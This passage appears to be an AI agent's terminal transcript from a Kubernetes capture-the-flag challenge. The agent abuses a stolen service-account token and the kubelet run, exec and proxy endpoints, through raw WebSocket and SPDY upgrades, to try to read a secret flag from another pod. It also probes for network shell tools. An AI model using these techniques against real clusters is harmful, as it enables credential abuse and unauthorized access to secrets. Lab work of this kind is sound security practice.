req = urllib.request.Request(url, data=b'cmd=cat+/etc/secret/flag', method='POST')
req.add_header('Authorization', f'Bearer {token}')
try:
    resp = urllib.request.urlopen(req, context=ctx)
    print(resp.read().decode())
except Exception as e:
    print(f'Error: {e}')
" 2>&1
exit
SSHEOF
[?2004l[?2004h> token = '$STEALTH_TOKEN'
[?2004l[?2004h> url = 'https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/run/sr71-49fj1dd92/sr71-8d5bc67c9-kzl82/stealth'
[?2004l[?2004h> req = urllib.request.Request(url, data=b'cmd=cat+/etc/secret/flag', method='POSST')
[?2004l[?2004h> req.add_header('Authorization', f'Bearer {token}')
[?2004l[?2004h> try:
[?2004l[?2004h>     resp = urllib.request.urlopen(req, context=ctx)
[?2004l[?2004h>     print(resp.read().decode())
[?2004l[?2004h> except Exception as e:
[?2004l[?2004h>     print(f'Error: {e}')
[?2004l[?2004h> " 2>&1
[?2004lbash: python3: command not found
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 127
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Try direct kubelet on node-1 (same node as b2 pod) and localhost
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "=== TRY NODE-1 KUBELET DIRECT (same node) ==="
curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.236.119:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -d "cmd=cat /etc/secret/flag" 2>&1
echo "=== TRY LOCALHOST KUBELET ==="
curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" "https://localhost:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -d "cmd=cat /etc/secret/flag" 2>&1
echo "=== NODE-1 RUN B2 (same node) ==="
curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.236.119:10250/run/b2/b2-6454ffccfb-bmfgs/b2" -d "cmd=cat /etc/secret/flag" 2>&1
'
exit
SSHEOF
[?2004l[?2004h> '
[?2004l=== TRY NODE-1 KUBELET DIRECT (same node) ===

HTTP_000
=== TRY LOCALHOST KUBELET ===

HTTP_000
=== NODE-1 RUN B2 (same node) ===

HTTP_000
command terminated with exit code 28
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 28
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Raw WebSocket upgrade to kubelet exec via openssl s_client
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -25
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Use openssl s_client to send raw HTTP with WebSocket upgrade
{
echo -e "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer $TOKEN\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n"
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | strings | head -20
'
exit
SSHEOF
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | strings | head -20
'
exit
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Use openssl s_client to send raw HTTP with WebSocket upgrade
{
echo -e "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer $TOKEN\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n"
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | strings | head -20
'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> # Use openssl s_client to send raw HTTP with WebSocket upgrade
[?2004l[?2004h> {
[?2004l[?2004h> echo -e "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl822/stealth?command=cat&command=/etc/secret/flag&stdout=true HTTP/1.1\r\nHost: kubeernetes.default.svc\r\nAuthorization: Bearer $TOKEN\r\nConnection: Upgrade\r\nUpggrade: websocket\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket--Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n"
[?2004l[?2004h> sleep 3
[?2004l[?2004h> } | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | sstrings | head -20
[?2004l[?2004h> '
[?2004lsh: 7: strings: not found
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.
$ Bash
Raw WebSocket upgrade with cat -v for output
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
{
printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | cat -v | head -20
'
exit
SSHEOF
printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | cat -v | head -20
'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> {
[?2004l[?2004h> printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82//stealth?command=cat&command=/etc/secret/flag&stdout=true HTTP/1.1\r\nHost: kuberrnetes.default.svc\r\nAuthorization: Bearer %s\r\nConnection: Upgrade\r\nUpgrade:: websocket\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Versiion: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
[?2004l[?2004h> sleep 3
[?2004l[?2004h> } | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | ccat -v | head -20
[?2004l[?2004h> '
[?2004lHTTP/1.1 400 Bad Request^M
Content-Length: 52^M
Content-Type: text/plain; charset=utf-8^M
Date: Wed, 25 Mar 2026 11:59:38 GMT^M
^M
you must specify at least 1 of stdin, stdout, stderr[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Check curl version and available tools for websocket
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
echo "=== CURL VERSION ==="
curl --version | head -2
echo "=== BASH VERSION ==="
bash --version | head -1
echo "=== CHECK DEV TCP ==="
bash -c 'echo test > /dev/tcp/kubernetes.default.svc/443 2>&1 && echo devtcp_works || echo devtcp_failed'
echo "=== APT PACKAGES ==="
dpkg -l | grep -i websocket 2>/dev/null | head -5
which ncat nc netcat socat 2>/dev/null
exit
SSHEOF
[?2004l=== BASH VERSION ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# bash --version | head -1
[?2004lGNU bash, version 5.1.16(1)-release (x86_64-pc-linux-gnu)
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "=== CHECK DEV TCP ==="
[?2004l=== CHECK DEV TCP ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# bash -c 'echo test > /dev/tcp/kubernetes.defaullt.svc/443 2>&1 && echo devtcp_works || echo devtcp_failed'
[?2004ldevtcp_works
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "=== APT PACKAGES ==="
[?2004l=== APT PACKAGES ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# dpkg -l | grep -i websocket 2>/dev/null | head  -5
[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# which ncat nc netcat socat 2>/dev/null
[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Try SPDY/3.1 upgrade protocol for kubelet exec
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Try the raw HTTP upgrade but with SPDY/3.1 and read full response
{
printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1&stderr=1 HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nConnection: Upgrade\r\nUpgrade: SPDY/3.1\r\n\r\n" "$TOKEN"
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | cat -v | head -20
'
exit
SSHEOF
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | cat -v | head -20
'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> # Try the raw HTTP upgrade but with SPDY/3.1 and read full response
[?2004l[?2004h> {
[?2004l[?2004h> printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82//stealth?command=cat&command=/etc/secret/flag&stdout=1&stderr=1 HTTP/1.1\r\nHost:: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nConnection: Upgrade\r\nUppgrade: SPDY/3.1\r\n\r\n" "$TOKEN"
[?2004l[?2004h> sleep 3
[?2004l[?2004h> } | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | ccat -v | head -20
[?2004l[?2004h> '
[?2004lHTTP/1.1 400 Bad Request^M
Content-Length: 52^M
Content-Type: text/plain; charset=utf-8^M
Date: Wed, 25 Mar 2026 12:00:42 GMT^M
^M
you must specify at least 1 of stdin, stdout, stderr[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Try full WebSocket upgrade with all K8s stream protocol headers
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Test if query params are passed through - try with just stdin=true
{
printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdin=1&stdout=1 HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\nX-Stream-Protocol-Version: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | cat -v | head -30
'
exit
SSHEOF
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> # Test if query params are passed through - try with just stdin=true
[?2004l[?2004h> {
[?2004l[?2004h> printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82//stealth?command=cat&command=/etc/secret/flag&stdin=1&stdout=1 HTTP/1.1\r\nHost:  kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nUpgrade: websocket\r\nConnnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket--Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\nX-Stream-Protocol-Veersion: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
[?2004l[?2004h> sleep 3
[?2004l[?2004h> } | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | ccat -v | head -30
[?2004l[?2004h> '
[?2004lHTTP/1.1 400 Bad Request^M
Content-Length: 52^M
Content-Type: text/plain; charset=utf-8^M
Date: Wed, 25 Mar 2026 12:01:03 GMT^M
^M
you must specify at least 1 of stdin, stdout, stderr[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Extract sr71 pod lifecycle hooks and container spec
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
# Get the sr71 pod spec - specifically lifecycle, containers, volumes
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep sr71-8d5bc67c9-kzl82 | grep -o "postStart[^}]*}" | head -3
echo "==="
# Get full container spec section
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep sr71-8d5bc67c9-kzl82 | grep -oP "\"command\":\[[^\]]*\]" | head -5
echo "==="
# Check for any interesting env vars
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep sr71-8d5bc67c9-kzl82 | grep -oP "\"env\":\[[^\]]*\]" | head -5
'
exit
SSHEOF
echo "==="
# Check for any interesting env vars
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep sr71-8d5bc67c9-kzl82 | grep -oP "\"env\":\[[^\]]*\]" | head -5
'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> # Get the sr71 pod spec - specifically lifecycle, containers, volumes
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep sr71-8d5bc67c9-kzl82 | grep -o "postStart[^}]*}" | head -3
[?2004l[?2004h> echo "==="
[?2004l[?2004h> # Get full container spec section
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep sr71-8d5bc67c9-kzl82 | grep -oP "\"command\":\[[^\]]*\]" | head -5
[?2004l[?2004h> echo "==="
[?2004l[?2004h> # Check for any interesting env vars
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep sr71-8d5bc67c9-kzl82 | grep -oP "\"env\":\[[^\]]*\]" | head -5
[?2004l[?2004h> '
[?2004l===
===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.
Thinking
$ Bash
WebSocket upgrade with od -c to see all response bytes
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Try WebSocket with longer timeout, capture all output
{
printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1 HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
sleep 5
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | od -c | head -40
'
exit
SSHEOF
[?2004l[?2004h> printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82//stealth?command=cat&command=/etc/secret/flag&stdout=1 HTTP/1.1\r\nHost: kubernettes.default.svc\r\nAuthorization: Bearer %s\r\nUpgrade: websocket\r\nConnection:  Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version:: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
[?2004l[?2004h> sleep 5
[?2004l[?2004h> } | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | ood -c | head -40
[?2004l[?2004h> '
[?2004l0000000   H   T   T   P   /   1   .   1       4   0   0       B   a   d
0000020       R   e   q   u   e   s   t  \r  \n   C   o   n   t   e   n
0000040   t   -   L   e   n   g   t   h   :       5   2  \r  \n   C   o
0000060   n   t   e   n   t   -   T   y   p   e   :       t   e   x   t
0000100   /   p   l   a   i   n   ;       c   h   a   r   s   e   t   =
0000120   u   t   f   -   8  \r  \n   D   a   t   e   :       W   e   d
0000140   ,       2   5       M   a   r       2   0   2   6       1   2
0000160   :   0   1   :   5   7       G   M   T  \r  \n  \r  \n   y   o
0000200   u       m   u   s   t       s   p   e   c   i   f   y       a
0000220   t       l   e   a   s   t       1       o   f       s   t   d
0000240   i   n   ,       s   t   d   o   u   t   ,       s   t   d   e
0000260   r   r
0000262
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Check jumphost and sr71 pod specs for hostPath mounts or privileged mode
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
# Get jumphost pod spec from kubelet - check for hostPath mounts or privileged
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep "jumphost-5f66c55446-d5bkl" | grep -oP "\"volumeMounts\":\[.*?\]" | head -3
echo "=== VOLUMES ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep "jumphost-5f66c55446-d5bkl" | grep -oP "\"hostPath\"[^}]*" | head -3
echo "=== SECURITY ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep "jumphost-5f66c55446-d5bkl" | grep -oP "\"securityContext\"[^}]*" | head -3
echo "=== SR71 SECURITY ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep "sr71-8d5bc67c9-kzl82" | grep -oP "\"securityContext\"[^}]*" | head -3
'
exit
SSHEOF
echo "=== SR71 SECURITY ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep "sr71-8d5bc67c9-kzl82" | grep -oP "\"securityContext\"[^}]*" | head -3
'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> # Get jumphost pod spec from kubelet - check for hostPath mounts or privileged > # Get jumphost pod spec from kubelet - check for hostPath mounts or privileged
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep "jumphost-5f66c55446-d5bkl" | grep -oP "\"volumeMounts\":\[.*?\]" |  head -3
[?2004l[?2004h> echo "=== VOLUMES ==="
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep "jumphost-5f66c55446-d5bkl" | grep -oP "\"hostPath\"[^}]*" | head -33
[?2004l[?2004h> echo "=== SECURITY ==="
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep "jumphost-5f66c55446-d5bkl" | grep -oP "\"securityContext\"[^}]*" |  head -3
[?2004l[?2004h> echo "=== SR71 SECURITY ==="
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep "sr71-8d5bc67c9-kzl82" | grep -oP "\"securityContext\"[^}]*" | head  -3
[?2004l[?2004h> '
[?2004l=== VOLUMES ===
=== SECURITY ===
=== SR71 SECURITY ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Parse sr71 pod data and try container logs
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -30
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
# Save sr71 pod JSON and extract key info
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ > /tmp/pods.json 2>/dev/null
# Use grep with context to find sr71 specific data
grep -o "sr71-49fj1d92[^,]*" /tmp/pods.json | sort -u | head -5
echo "==="
# Find all volume related data near sr71
grep -oP "secret-volume.*?flag" /tmp/pods.json | head -3
echo "=== SR71 SERVICE ACCOUNT ==="  
grep -oP "\"serviceAccountName\":\"[^\"]*\"" /tmp/pods.json | sort -u
echo "=== CHECK CONTAINER NAME ==="
grep -oP "\"containerStatuses\":\[.*?\]" /tmp/pods.json | grep sr71 | head -1 | tr "," "\n" | grep name
echo "=== TRY CONTAINER LOGS ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" 2>&1
'
exit
SSHEOF
kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" 2>&1
'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> # Save sr71 pod JSON and extract key info
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ > /tmp/pods.json 2>/dev/nulll
[?2004l[?2004h> # Use grep with context to find sr71 specific data
[?2004l[?2004h> grep -o "sr71-49fj1d92[^,]*" /tmp/pods.json | sort -u | head -5
[?2004l[?2004h> echo "==="
[?2004l[?2004h> # Find all volume related data near sr71
[?2004l[?2004h> grep -oP "secret-volume.*?flag" /tmp/pods.json | head -3
[?2004l[?2004h> echo "=== SR71 SERVICE ACCOUNT ==="  
[?2004l[?2004h> grep -oP "\"serviceAccountName\":\"[^\"]*\"" /tmp/pods.json | sort -u
[?2004l[?2004h> echo "=== CHECK CONTAINER NAME ==="
[?2004l[?2004h> grep -oP "\"containerStatuses\":\[.*?\]" /tmp/pods.json | grep sr71 | head -1 || tr "," "\n" | grep name
[?2004l[?2004h> echo "=== TRY CONTAINER LOGS ==="
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71--8d5bc67c9-kzl82/stealth" 2>&1
[?2004l[?2004h> '
[?2004lsr71-49fj1d92"
===
=== SR71 SERVICE ACCOUNT ===
"serviceAccountName":"calico-node"
"serviceAccountName":"default"
"serviceAccountName":"jumphost"
"serviceAccountName":"kube-proxy"
=== CHECK CONTAINER NAME ===
=== TRY CONTAINER LOGS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.